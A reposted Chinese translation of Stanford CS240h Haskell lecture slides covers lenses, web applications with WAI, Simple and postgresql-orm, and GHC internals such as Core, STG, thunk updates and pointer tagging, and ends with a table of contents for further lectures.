当我完成专注时，我可能会将我给你的东西从s改为t（再次是每个a替换为b的s）

一些机制

用于处理这些类型的函数：

unfocus :: Focused s a a -> s unfocus (Focused focused rebuild) = rebuild focused view :: Focuser s t a b -> s -> a view l s = focused (l s) over :: Focuser s t a b -> (a -> b) -> s -> t over l f s = let Focused focused rebuild = l s in rebuild (f focused)

我们的朋友focusFst和focusSnd在这个框架中重新定义：

_1 :: Focuser (a,b) (c,b) a c _1 (a,b) = Focused a (\c -> (c,b)) _2 :: Focuser (a,b) (a,c) b c _2 (a,b) = Focused b (\c -> (a,c))

你的回合

这是你的脚手架：

data Focused t a b = Focused {  focused :: a , rebuild :: b -> t } type Focuser s t a b = s -> Focused t a b

花两分钟来实现这个：

focusHead :: Focuser [a] [a] a a focusHead = undefined

它应该专注于列表的头部，这样我们就可以在ghci中运行这个：

>>> over focusHead toUpper "anita" "Anita"

骨架：cs240h.scs.stanford.edu/Focus.hs

再次抽象

我们最有趣的两个函数有很多共同之处。

over :: Focuser s t a b -> (a -> b) -> s -> t view :: Focuser s t a b -> s -> a

我们如何统一这些类型？

通过抽象来决定使用什么类型。

wat :: Focuser s t a b -> (a -> f b) -> s -> f t

类型级别的乐趣

这里，f是一个类型级别的函数。

wat :: Focuser s t a b -> (a -> f b) -> s -> f t

如果我们提供类型级别的恒等函数，f消失了，我们得到了over的类型：

wat :: Focuser s t a b -> (a -> f b) -> s -> f t over :: Focuser s t a b -> (a -> b) -> s -> t

使用类型级别的const a函数，我们得到了view的类型：

wat :: Focuser s t a b -> (a -> f b) -> s -> f t view :: Focuser s t a b {- ignored -} -> s -> a

类型级别的恒等

在Data.Functor.Identity中定义：

newtype Identity a = Identity { runIdentity :: a } instance Functor Identity where fmap f (Identity a) = Identity (f a)

类型级别的 const

在Control.Applicative中定义：

newtype Const a b = Const { getConst :: a } instance Functor (Const a) where fmap _ (Const v) = Const v

我们的最终类型

{-# LANGUAGE RankNTypes #-} type Lens s t a b = forall f. Functor f => (a -> f b) -> s -> f t

从我们作为透镜库编写者的角度：

我们在这里使用forall来明确表示我们控制我们使用的Functor，而不是我们的调用者。

我们选择Identity或Const a来获取over和view的正确类型。

我们的最终类型

{-# LANGUAGE RankNTypes #-} type Lens s t a b = forall f. Functor f => (a -> f b) -> s -> f t

从我们作为透镜库编写者的角度：

我们必须向用户解释这个类型。

给我一个s，我会专注于其类型为a的元素
如果你使用over进行编辑，你可以将那些a类型改为b
编辑完成后，你会得到一个t，如果你没有将a改为b，那么它将是s

新机制

{-# LANGUAGE RankNTypes #-} import Control.Applicative import Data.Functor.Identity type Lens s t a b = forall f. Functor f => (a -> f b) -> s -> f t over :: Lens s t a b -> (a -> b) -> s -> t over l f s = runIdentity (l (Identity . f) s) view :: Lens s t a b -> s -> a view l s = getConst (l Const s)

元组部分

如果我们打开这个：

{-# LANGUAGE TupleSections #-}

并写下这个：

(a,)

它等同于这个：

\b -> (a,b)

组合访问

在ghci中：

>>> view (_1 . _head) ("foo",True) 'f'

为什么这与传统的组合顺序不同？

>>> (head . fst) ("foo",True) 'f'

透镜的组合

透镜到底是用来做什么的？

它将对结构的部分的操作转换为对整个结构的操作。

因此：

_1和_2并不只是“获取器”，它们获取一个完整对并专注于其第一个或第二个元素。
就是view和over决定了获取器或设置器的性质。

那么组合透镜意味着什么？

如果你写_1 . _head，你正在：

获取整个对，并专注于它的第一个元素
获取整个对，并专注于列表头部在对的第一个元素内

组合修改

让我们想想如何使用透镜机制来给我们一个名字首字母大写的对。

("anita", True)

1: 为什么透镜是可组合的？

乍一看，很难说出为什么_1 . _head甚至能通过类型检查：

_1 :: Functor f => (a -> f c) -> (a, b) -> f (c, b) _head :: Functor f => (a -> f a) -> [a] -> f [a]

尤其是——为什么我们可以使用.进行函数组合？

2: 为什么透镜是可组合的？

关键在于记住，一个带有 2 个参数的函数实际上是一个返回函数的 1 个参数的函数。

_1 :: Functor f => (a -> f c) -> ((a, b) -> f (c, b)) _head :: Functor f => (a -> f a) -> ([a] -> f [a]) _1._head :: Functor f => (a -> f a) -> ([a], b) -> f ([a], b)

接下来呢？

最好的开始地方是从“入门级”开始：

lens-family-core 包是最容易学习的
也有最容易阅读的源代码：强烈推荐！

完整的操作：

lens 包更加强大，更加抽象，更加难以学习。
由于庞大而有些争议

在实践中变得越来越广泛使用：

我的wreq HTTP 库

镜头操作符的指南

^.是view（类似于“getter”）

%~是over（类似于“编辑器”）

.~是over – 但接受一个值而不是函数（类似于“setter”）

&只是带有翻转参数的$

使用如下：

foo & someField %~ ('a':) & otherField .~ 'b'

（“被修改的事物，后跟链式修饰符。”）

Web 和数据库编程

2014 年 5 月 15 日 - CS240H

在我们开始之前…

如果你想在笔记本电脑上跟进到最后：

对于 ghc-7.6：

$ cabal install simple wai-handler-devel

对于 ghc-7.8

$ git clone git://github.com/alevy/simple.git $ git clone git://github.com/alevy/postgresql-orm.git $ cd simple $ cabal install $ cd ../postgresql-orm $ cabal install $ cabal install wai-handler-devel

你还需要安装 PostgreSQL

议程

简介/动机
在 Haskell 中建模 Web 应用程序
构建内容管理系统

为什么你应该关心 Web 编程？

互联网开始变得非常流行

如果你正在构建某些东西，很有可能你会将其部署为一个互联网 Web 应用程序

即使你的应用程序看起来不太“网页化”

HTTP 正在成为普遍的通用协议，用于 API（内部和外部）

良好的客户端支持

良好的服务器端支持（框架、SSL、虚拟域等）

易于“向管理层推销”

人们如何编写 Web 应用程序？

实际上，这取决于…
一个繁忙的框架空间
曾经被 Java 主导
- 像“Java Servlet Container”、“J2EE”、“Enterprise Java Beans”、“POJO”这样的术语
- 每个人在 90 年代末/21 世纪初都有一个非常糟糕的经历
- Java 仍然是主要的服务器端语言，例如 Google、Amazon
酷炫的孩子们大多在使用动态语言
- Ruby/Ruby on Rails/Sinatra
- Python/Django
- node.js/express
- PHP
- 等等…

Web 编程 - 今天最流行的语言？

. . .

但为什么要使用动态语言？

更简洁

例如没有类型声明

x = 123 def incr(y) y + 1 end

对比

protected static int x = 123; public static int incr(int y) { return y + 1; }

但为什么要使用动态语言？

高级特性

像闭包一样

Array.map(myarr, new Runnable() { public void run(int elm) { return elm * 42; } })

对比。

myarr.map {|elm| elm * 42}

但为什么要使用动态语言？

其他不太具有说服力的原因

快速开发和原型设计
动态语言好因为动态网站！

“在渲染网页时，通常会有很多组件在网页上进行交互。你在这里有按钮，在那里有小部件，在一个网页上可能有几十个，甚至可能有几十个或上百个网页在你的网站上，它们都是动态的。[…] 使用静态类型语言实际上是相当不灵活的。[…] 就像整个系统必须进行类型检查才能移动一个按钮一样”

来自 Twitter 的 Nick Kallen

这真的是关于动态性吗？

没有类型声明（但仍然有类型）

x = 123 -- :: Num a => a incr y = y + 1 -- :: Num a => a -> a

闭包

map (* 42) myarr

很多论点实际上都是关于 Java 等语言的弱点。

在 Haskell 中建模 Web 应用程序

声称：一个 Web 应用程序做三件事：
1. 解析来自客户端的请求
2. 执行一些副作用（例如读取/写入数据库）
3. 为客户端生成一些响应

给定以下两种类型：

data Request = Request {pathInfo :: [String], requestMethod :: Method, ...} data Response = Response Status [Header] String

为 Application 填写类型：
```
type Application = ...
```

模板代码：cs240h.scs.stanford.edu/Application.hs

在 Haskell 中建模 Web 应用程序

```haskell 数据 Request = Request {pathInfo :: [String], requestMethod :: Method, ...} 数据 Response = Response Status [Header] String 类型 Application = Request -> IO Response ```

我们刚刚实现了 WAI 包 - “Web Application Interface”！

WAI 包

服务器和应用程序之间的通用接口，这样你可以混合和匹配
服务器：
- warp
- FastCGI
- wai-handler-devel（用于开发）
应用框架：
- Yesod
- Scotty
- Hails（厚颜无耻的插播）
- 简单（厚颜无耻的宣传）
- 其他通过适配器

WAI 包

data Request = Request {  requestMethod :: Method , httpVersion :: HttpVersion , rawPathInfo :: ByteString , rawQueryString :: ByteString , requestHeaders :: RequestHeaders , isSecure :: Bool , remoteHost :: SockAddr , pathInfo :: [Text] , queryString :: Query , requestBody :: Source IO ByteString , vault :: Vault , requestBodyLength :: RequestBodyLength , requestHeaderHost :: Maybe B.ByteString , requestHeaderRange :: Maybe B.ByteString } data Response = ResponseFile Status ResponseHeaders FilePath (Maybe FilePart) | ResponseBuilder Status ResponseHeaders Builder | ResponseSource Status ResponseHeaders (forall b. WithSource IO (C.Flush Builder) b) | ResponseRaw (forall b. WithRawApp b) Response type Application = Request -> IO Response

一个真正简单的应用程序

让我们构建最简单的应用程序，在浏览器中显示一些内容

首先安装 wai 和 warp：

$ cabal install wai warp

最后，构建应用程序！

module Main where import qualified Data.ByteString.Lazy.Char8 as L8 import Network.HTTP.Types import Network.Wai import Network.Wai.Handler.Warp (run) app :: Application app req = return $ responseLBS status200 [] $ L8.pack "Hello, World" main :: IO () main = do run 3000 app

演示时间！

让我们构建一个 CMS！

（非常）快速介绍 Simple
（非常）快速介绍 postgresql-orm
写一些代码

Simple - 一个 Haskell 的 Web 框架

Simple 是一个只有一个类型的 Web 框架：

newtype Controller s a = Controller {  runController :: s -> Request -> IO (Either Response a, s) } instance Monad Controller instance Applicative Controller instance MonadIO Controller

非常小的 WAI Application 类型的包装器
让我们在任何地方引用 Request 而不需要传递它
让我们在任何地方引用一些应用程序状态而不需要传递它
让我们决定我们已经准备好响应并停止计算

一些 Simple 组合器

停止计算并响应请求：

respond :: Response -> Controller s a okHtml :: ByteString -> Response notFound :: Response respond $ okHtml "Hello world"

获取请求和应用程序状态：

request :: Controller s Request controllerState :: Controller s s

解析查询和表单参数：

queryParam' :: Parseable p => Controller s p parseForm :: Controller s ([Param], (ByteString, FileInfo ByteString))

一些 Simple 组合器

路由组合器：

-- Match on next dir in path routeName :: Text -> Controller s () -> Controller s () routeName "articles" $ ... -- Treat first dir in path as query param routeVar :: Text -> Controller s () -> Controller s () routeName "articles" $ routeVar "name" $ ... -- Match whole pattern of path routePattern :: Text -> Controller s () -> Controller s () routePattern "/articles/:name" $ ... -- Match if no path left routeTop :: Controller s () -> Controller s () -- Match on request method routeMethod :: Method -> Controller s () -> Controller s () routeMethod GET $ routePatter "/articles/:name" -- Match hostname routeHost :: ByteString -> Controller s () -> Controller s ()

更高级别的 Simple 组合器

常见情况是匹配方法和特定路径模式：

get :: Text -> Controller s () -> Controller s () get ptrn ctrl = routeMethod GET $ routePattern ptrn ctrl post :: Text -> Controller s () -> Controller s () post ptrn ctrl = routeMethod POST $ routePattern ptrn ctrl

因此，一个典型的小应用程序可能如下所示：

myapp :: Controller s () myapp = do get "/" $ respond $ okHtml "Hello World" get "/foo" $ respond $ okHtml "bar"

PostgreSQL ORM

对象关系映射器（ORM）
- 从本地类型映射到 SQL
- 在我们的情况下，映射到 PostgreSQL 风格的 SQL
Haskell 类型必须是这种形式：

data Article = Article { articleId :: DBKey , articleTitle :: Text , articleBody :: Text , articleShortName :: Text }

Model 类的实例：

class Model a where  modelInfo :: ModelInfo a  modelRead :: RowParser a  modelWrite :: a -> [Action] data DBKey = DBKey !Int64 | NullKey data ModelInfo a = ModelInfo {  modelTable :: ByteString , modelColumns :: [ByteString] , modelPrimaryColumn :: Int , modelGetPrimaryKey :: a -> DBKey }

PostgreSQL ORM

如果 Model 派生自 Generic，我们就不需要编写实现

{-# LANGUAGE DeriveGeneric #-} import GHC.Generics data Article = Article { articleId :: DBKey , articleTitle :: Text , articleBody :: Text , articleShortName :: Text } deriving (Show, Generic) instance Model Article

这使我们可以访问：

save :: Model a => Connection -> a -> IO () findAll :: Model a => Connection -> IO [a] findRow :: Model a => Connection -> DBRef a -> IO (Maybe a)

因为我们在 Haskell 中，让我们避免一堆边缘情况：
- 字段不能为 null（除非它们是 Maybe）
- 字段不能是不同类型的（除非它们是 Either）
- 验证在许多情况下是多余的

好的，让我们开始编码：

$ cabal install simple $ smpl create my_cms

一个 Haskell 编译器

David Terei

为什么要了解 GHC 的工作原理？

理解 Core 和 STG - 性能。
熟悉函数术语。
理解执行模型 - 合理的成本模型。

GHC 的流水线

Haskell -> GHC Haskell -> Core -> STG -> Cmm -> Assembly

GHC 支持在不安全变体上的 Haskell

原始类型（GHC.Prim）：

Char#、Int#、Word#、Double#、Float#
Array#、ByteArray#、ArrayArray#，
MutVar#、TVar#、MVar#
State#、exceptions

所有原始类型都是未提升的 - 不能包含 ⊥。

GHC 支持在不安全变体上的 Haskell

所有 Int 的变体（In8、Int16、Int32、Int64）在 64 位机器上内部由 Int#（64 位）表示。

data Int32 = I32# Int# deriving (Eq, Ord, Typeable) instance Num Int32 where (I32# x#) + (I32# y#) = I32# (narrow32Int# (x# +# y#)) ...

数据构造函数提升了一个类型，允许 ⊥。

GHC 通过 RealWorld 令牌实现 IO

IO Monad 是一个状态传递的单子。

newtype IO a = IO (State# RealWorld -> (# State# RealWorld, a #)) returnIO :: a -> IO a returnIO x = IO $ \ s -> (# s, x #) bindIO :: IO a -> (a -> IO b) -> IO b bindIO (IO m) k = IO $ \ s -> case m s of (# new_s, a #) -> unIO (k a) new_s

RealWorld 令牌通过数据依赖强制排序。

unsafePerformIO :: IO a -> a unsafePerformIO m = unsafeDupablePerformIO (noDuplicate >> m) unsafeDupablePerformIO :: IO a -> a unsafeDupablePerformIO (IO m) = lazy (case m realWorld# of (# _, r #) -> r)

各种不安全函数丢弃 RealWorld 令牌。

Core：一个小型函数中间语言

思路：将 Haskell 映射到一个更容易优化和编译的小语言。
函数式惰性语言
它只包含少量结构！

variables, literals, let, case, lambda abstraction, application

一般来说，let 表示分配，case 表示评估。

一个幻灯片中的 Core

data Expr b -- "b" for the type of binders,  = Var Id | Lit Literal | App (Expr b) (Arg b) | Lam b (Expr b) | Let (Bind b) (Expr b) | Case (Expr b) b Type [Alt b] | Type Type | Cast (Expr b) Coercion | Coercion Coercion | Tick (Tickish Id) (Expr b) data Bind b = NonRec b (Expr b) | Rec [(b, (Expr b))] type Arg b = Expr b type Alt b = (AltCon, [b], Expr b) data AltCon = DataAlt DataCon | LitAlt Literal | DEFAULT

现在让我们看看 Haskell 是如何编译成 Core 的。

GHC Haskell 到 Core：单态函数

Haskell

idChar :: Char -> Char idChar c = c

Core

idChar :: GHC.Types.Char -> GHC.Types.Char [GblId, Arity=1, Caf=NoCafRefs] idChar = \ (c :: GHC.Types.Char) -> c

GHC Haskell 到 Core：多态函数

Haskell

id :: a -> a id x = x idChar2 :: Char -> Char idChar2 = id

Core

id :: forall a. a -> a id = \ (@ a) (x :: a) -> x idChar2 :: GHC.Types.Char -> GHC.Types.Char idChar2 = id @ GHC.Types.Char

GHC Haskell 到 Core：多态函数

Haskell

map :: (a -> b) -> [a] -> [b] map _ [] = [] map f (x:xs) = f x : map f xs

Core

map :: forall a b. (a -> b) -> [a] -> [b] map = \ (@ a) (@ b) (f :: a -> b) (xs :: [a]) -> case xs of _ { [] -> GHC.Types.[] @ b; : y ys -> GHC.Types.: @ b (f y) (map @ a @ b f ys) }

新的 case 语法使评估正在发生的事情变得明显：

case e of result { __DEFAULT -> result }

Where 转换为 let

Haskell

dox :: Int -> Int dox n = x * x where x = n + 2

Core

dox :: GHC.Types.Int -> GHC.Types.Int dox = \ (n :: GHC.Types.Int) -> let {  x :: GHC.Types.Int x = GHC.base.plusInt n (GHC.Types.I# 2) } in GHC.base.multInt x x

模式匹配转换为 case 语句

Haskell

iff :: Bool -> a -> a -> a iff True x _ = x iff False _ y = y

Core

iff :: forall a. GHC.Bool.Bool -> a -> a -> a iff = \ (@ a) (d :: GHC.Bool.Bool) (x :: a) (y :: a) -> case d of _ GHC.Bool.False -> y GHC.Bool.True -> x

类型类转换为字典

Haskell

typeclass MyEnum a where  toId :: a -> Int  fromId :: Int -> a

Core

data MyEnum a = DMyEnum (a -> Int) (Int -> a) toId :: forall a. MyEnum a => a -> GHC.Types.Int toId = \ (@ a) (d :: MyEnum a) (x :: a) -> case d of _ DMyEnum f1 _ -> f1 x fromId :: forall a. MyEnum a => GHC.Types.Int -> a fromId = \ (@ a) (d :: MyEnum a) (x :: a) -> case d of _ DMyEnum _ f2 -> f2 x

为每个实例构造一个字典

Haskell

instance MyEnum Int where toId = id fromId = id

Core

fMyEnumInt :: MyEnum GHC.Types.Int fMyEnumInt = DMyEnum @ GHC.Types.Int (id @ GHC.Types.Int) (id @ GHC.Types.Int)

从字典构造字典

Haskell

instance (MyEnum a) => MyEnum (Maybe a) where toId (Nothing) = 0 toId (Just n) = toId n fromId 0 = Nothing fromId n = Just $ fromId n

Core

fMyEnumMaybe :: forall a. MyEnum a => MyEnum (Maybe a) fMyEnumMaybe = \ (@ a) (dict :: MyEnum a) -> DMyEnum @ (Maybe a) (fMyEnumMaybe_ctoId @ a dict) (fMyEnumMaybe_cfromId @ a dict) fMyEnumMaybe_ctoId :: forall a. MyEnum a => Maybe a -> Int fMyEnumMaybe_ctoId = \ (@ a) (dict :: MyEnum a) (mx :: Maybe a) -> case mx of _ Nothing -> I# 0 Just n -> case (toId @ a dict n) of _ I# y -> I# (1 +# y)

UNPACK 解压类型

Haskell

data Point = Point {-# UNPACK #-} !Int {-# UNPACK #-} !Int

Core

data Point = Point Int# Int#

只有一个 Point 的数据类型存在，GHC 不会复制它。

UNPACK 不总是一个好主意

Haskell

addP :: P -> Int addP (P x y ) = x + y

Core

addP :: P -> Int addP = \ (p :: P) -> case p of _ { P x y -> case +# x y of z { __DEFAULT -> I# z } }

这里有很棒的代码，可以使用未装箱类型。

UNPACK 不总是一个好主意

Haskell

module M where {-# NOINLINE add #-} add x y = x + y module P where addP_bad (P x y) = add x y

Core

addP_bad = \ (p :: P) -> case p of _ { P x y -> let { x' = I# x y' = I# y  } in M.add x' y' }

需要不幸地重新装箱这些类型。

Core 摘要

查看 Core 以了解代码的性能如何。
可以看到装箱和去箱化。
语言仍然是惰性的，但 case 表示评估。

GHC 中间：Core -> Core

GHC 所做的许多优化都是通过核心到核心的转换来实现的。

让我们看看其中的两个：

严格性和去箱化
SpecConstr

Fun Fact: Estimated that functional languages gain 20 - 40% improvement from inlining Vs. imperative languages which gain 10 - 15%

严格性和去箱化

考虑在 Haskell 中实现这个阶乘：

fac :: Int -> Int -> Int fac x 0 = a fac x n = fac (n*x) (n-1)

在 Haskell 中，x 和 n 必须由指向可能未评估对象（thunks）的指针表示
即使评估了，仍然由堆上的“装箱”值表示

严格性和去箱化

Core

fac :: Int -> Int -> Int fac = \ (x :: Int) (n :: Int) -> case n of _ { I# n# -> case n# of _ 0# -> x __DEFAULT -> let { one = I# 1 n' = n - one x' = n * x } in fac x' n'

在递归调用之前分配 thunks 并装箱参数
但 fac 将立即评估 thunks 并解压值！

带有严格性分析的 GHC

使用优化编译 fac。

wfac :: Int# -> Int# -> Int# wfac = \ x# n# -> case n# of _ 0# -> x# _ -> case (n# -# 1#) of n'# _ -> case (n# *# x#) of x'# _ -> $wfac x'# n'# fac :: Int -> Int -> Int fac = \ a n -> case a of I# a# -> case n of I# n# -> case ($wfac a# n#) of r# -> I# r#

创建一个优化的“工作者”并保留原始函数作为“包装器”以保持接口。
必须保留⊥的语义 - fac ⊥ n = optimized(fac) ⊥ n

SpecConstr：将严格性分析扩展到路径

SpecConstr 的想法是扩展严格性和取消装箱，但是对于在每个代码路径中参数不严格的函数。

考虑这个 Haskell 函数：

drop :: Int -> [a] -> [a] drop n [] = [] drop 0 xs = xs drop n (x:xs) = drop (n-1) xs

对第一个参数不严格：
- drop ⊥ [] = []
- drop ⊥ (x:xs) = ⊥

SpecConstr：将严格性分析扩展到路径

因此我们得到这段代码而不需要额外的优化：

drop n xs = case xs of [] -> [] (y:ys) -> case n of I# n# -> case n# of 0 -> [] _ -> let n' = I# (n# -# 1#) in drop n' ys

但在第一次调用 drop 之后，我们对n是严格的并且总是评估它！

SpecConstr

SpecConstr 通过利用这一点创建drop的专门版本，只有在我们通过第一个检查后才调用它。

drop n xs = case xs of [] -> [] (y:ys) -> case n of I# n# -> case n# of 0 -> [] _ -> drop' (n# -# 1#) xs -- works with unboxed n drop' n# xs = case xs of [] -> [] (y:ys) -> case n# of 0# -> [] _ -> drop (n# -# 1#) xs

为了防止代码大小膨胀，GHC 限制它创建的专门函数的数量（使用-fspec-constr-threshol和-fspec-constr-count标志指定）。

STG 代码

在 Core 之后，GHC 编译到另一种名为 STG 的中间语言。
STG 与 Core 非常相似，但有一个很好的附加属性：
- 惰性是‘显式的’
- case = 评估和唯一的评估发生的地方（在 Core 中是真的）
- let = 分配和唯一的分配发生的地方（在 Core 中不是这样）
- 因此在 STG 中，我们可以明确看到使用let为惰性分配 thunks
要查看 STG，请使用：
```
ghc -ddump-stg A.hs > A.stg
```

STG 代码

Haskell

map :: (a -> b) -> [a] -> [b] map f [] = [] map f (x:xs) = f x : map f xs

STG

map :: forall a b. (a -> b) -> [a] -> [b] map = \r [f xs] case xs of _ [] -> [] [] : z zs -> let { bds = \u [] map f zs; bd = \u [] f z; } in : [bd bds]

Lambda 抽象为[arg1 arg2] f
\r - 可重入
\u - 可更新（即 thunk）

图缩减作为 Haskell 的计算模型

图缩减是惰性函数式语言的良好计算模型。

f g = let x = 2 + 2 in (g x, x)

图缩减作为 Haskell 的计算模型

图缩减是惰性函数式语言的良好计算模型。

f g = let x = 2 + 2 in (g x, x)

图缩减作为 Haskell 的计算模型

图缩减是惰性函数式语言的良好计算模型。

图缩减允许惰性评估和共享
let: 向图中添加新节点。
case: 表达式评估，导致图被减少。
当节点被减少时，它将被替换（或更新）为其结果

可以将您的 Haskell 程序视为通过添加新节点到图或减少现有节点来进行。

GHC 执行模型

GHC 使用闭包作为统一表示。
堆中的所有对象都是闭包。
堆栈帧是一个闭包。
GHC 使用继续传递风格。
总是跳转到顶部堆栈帧以返回。
函数将提前准备堆栈以设置调用链。

闭包表示

闭包			信息表

Header 通常只是指向闭包代码和元数据的指针。
通过正负偏移量只需一个指针即可获得。
Payload 包含闭包的环境（例如自由变量，函数参数）

数据闭包

data G = G (Int -> Int) {-# UNPACK #-} !Int

[Header | Pointers... | Non-pointers...]
Payload 是构造函数的值
构造函数的入口代码只返回

jmp Sp[0]

函数闭包

f = \x -> let g = \y -> x + y in g x

[Header | Pointers… | Non-pointers…]
Payload 是绑定的自由变量，例如，
- [ &g | x ]
入口代码是函数代码

部分应用闭包（PAP）

foldr (:)

[Header | 元数 | Payload 大小 | 函数 | Payload]
PAP 的元数（应用了 1 个参数的元数为 3 的函数会得到元数为 2 的 PAP）
函数是部分应用的函数的闭包

Thunk closures

range = [1..100]

[Header | 指针... | 非指针...]
Payload 包含表达式的自由变量
与函数闭包不同之处在于它们可以被更新
入口代码是表达式的代码

调用约定

在 X86 32 位系统上 - 所有参数通过栈传递
在 X86 64 位系统上 - 前 5 个参数通过寄存器传递，其余通过栈传递
R1 寄存器在 Cmm 代码中通常是指向当前闭包的指针（类似于面向对象语言中的 this）。

处理 thunk 更新

一旦求值，thunk 应该更新它们在图中的节点为计算出的值。
GHC 使用自更新模型 - 代码无条件跳转到一个 thunk。由 thunk 自己更新自己，用值替换代码。

处理 thunk 更新

mk :: Int -> Int mk x = x + 1

// thunk entry - setup stack, evaluate x mk_entry() entry: if (Sp - 24 < SpLim) goto gc; I64[Sp - 16] = stg_upd_frame_info; // setup update frame (closure type) I64[Sp - 8] = R1; // set thunk to be updated (payload) I64[Sp - 24] = mk_exit; // setup continuation (+) continuation Sp = Sp - 24; // increase stack R1 = I64[R1 + 8]; // grab 'x' from environment jump I64[R1] (); // eval 'x' gc: jump stg_gc_enter_1 (); }

处理 thunk 更新

mk :: Int -> Int mk x = x + 1

// thunk exit - setup value on heap, tear-down stack mk_exit() entry: Hp = Hp + 16; if (Hp > HpLim) goto gc; v::I64 = I64[R1] + 1; // perform ('x' + 1) I64[Hp - 8] = GHC_Types_I_con_info; // setup Int closure I64[Hp + 0] = v::I64; R1 = Hp; // point R1 to computed thunk value Sp = Sp + 8; // pop stack jump (I64[Sp + 0]) (); // jump to continuation ('stg_upd_frame_info') gc: HpAlloc = 16; jump stg_gc_enter_1 (); }

stg_upd_frame_info 代码更新一个 thunk 的值

要更新一个 thunk 的值，我们需要改变它的头指针。
现在应该指向一个简单返回的代码。
Payload 现在也需要包含数值。
朴素的解决方案是在每次访问 thunk 时同步。
但我们不需要！thunk 上的竞争是可以接受的，因为我们可以依赖纯度。竞争只会导致工作的重复。

stg_upd_frame_info 代码更新一个 thunk 的值

Thunk 闭包：

[Header | Payload]
Header = [ 信息表指针 | 结果槽 ]
当 thunk 未求值时，结果槽为空。
更新代码，首先将结果放入结果槽，然后更改信息表指针。
在 GHC 支持的所有架构上都可以不同步地进行（需要写屏障）。

避免进入值

评估模型是我们总是进入一个闭包，即使是值。
这对性能来说很差，我们更喜欢避免每次都进入值。
GHC 所做的一个优化是指针标记。这个技巧是利用指针的最后几位通常为零（32 位系统为最后 2 位，64 位系统为最后 3 位）来存储一个“标记”。
GHC 使用这个标记来：
- 如果对象是一个构造函数，标签包含构造函数编号（如果适用）
- 如果对象是一个函数，标签包含函数的元数（如果适用）

避免进入值

我们之前的示例代码：

mk :: Int -> Int mk x = x + 1

使用指针标记的变化：

mk_entry() entry: ... R1 = I64[R1 + 16]; // grab 'x' from environment if (R1 & 7 != 0) goto cxd; // check if 'x' is eval'd jump I64[R1] (); // not eval'd so eval cxd: jump mk_exit (); // 'x' eval'd so jump to (+) continuation } mk_exit() cx0: I64[Hp - 8] = ghczmprim_GHCziTypes_Izh_con_info; // setup Int closure I64[Hp + 0] = v::I64; // setup Int closure R1 = Hp - 7; // point R1 to computed thunk value (with tag) ... }

指针标记使你自己的数据类型高效

如果闭包是一个构造函数，标签包含构造函数编号（如果适用）。

data MyBool a = MTrue a | MFalse a

将和使用 Int# 表示真和假一样高效。

posted @ 2026-02-20 16:44 绝不原创的飞龙阅读(2) 评论(0) 收藏举报

刷新页面返回顶部

龙哥盟

掠夺·扩张·投机·博弈

斯坦福-CS240h-Haskell-中的功能系统-全-

斯坦福 CS240h：Haskell 中的功能系统（全）

你好，世界

让我们谈谈测试

工业中的测试

我对什么感兴趣？

问题出在哪里？

单元测试的限制

外包

一个简单的例子：UTF-16 编码

编码单个代码点

基本情况很容易

两个代码单元的情况

基本测试

一个糟糕的测试

但等等：单元测试？

一个更大图景的代理

嗯：更好了吗？

盘点

进入 QuickCheck

刚刚发生了什么？

现在我头疼了

从小开始

幕后：生成值

幕后：一些机制

幕后：可测试的事物

这是如何工作的？

再看一遍

长话短说

那又怎样？

编写一个新的 Arbitrary 实例

接下来呢？

随机值：困难的方式

随机值：更容易

我们的实例，以及重新运行

QuickCheck 的魔力

那又怎样？

还有什么？

微型实验室：缩小一个 BigChar

生成与过滤值

生成与过滤

迷你实验室：更多代码！

调整测试的大小

提升

fmap 和 liftM

为什么会出现这样的离题？

一个更紧凑的任意实例

微型实验室：收缩一个点

测试递归数据类型

怎么了，医生？

一个更安全的实例

这一切的目的是什么

异常。

简单示例。

纯代码中的异常。

异常和惰性。

异常和惰性。

异常和惰性。

异常和惰性继续。

解决方案。

还有一些异常函数。

单子异常。

Haskell 线程

例子：超时

MVar

例子：乒乓球基准测试

旁注：基准测试

操作系统线程

绑定与非绑定线程

操作系统线程有什么用？

异步异常

异步异常

屏蔽异常

屏蔽异常（续）

bracket 函数

使用 MVar 工作

替代 Mutex

条件变量

`MVar`

`bracket` 函数

使用 `MVar` 工作

替代 `Mutex`

`Either` 类型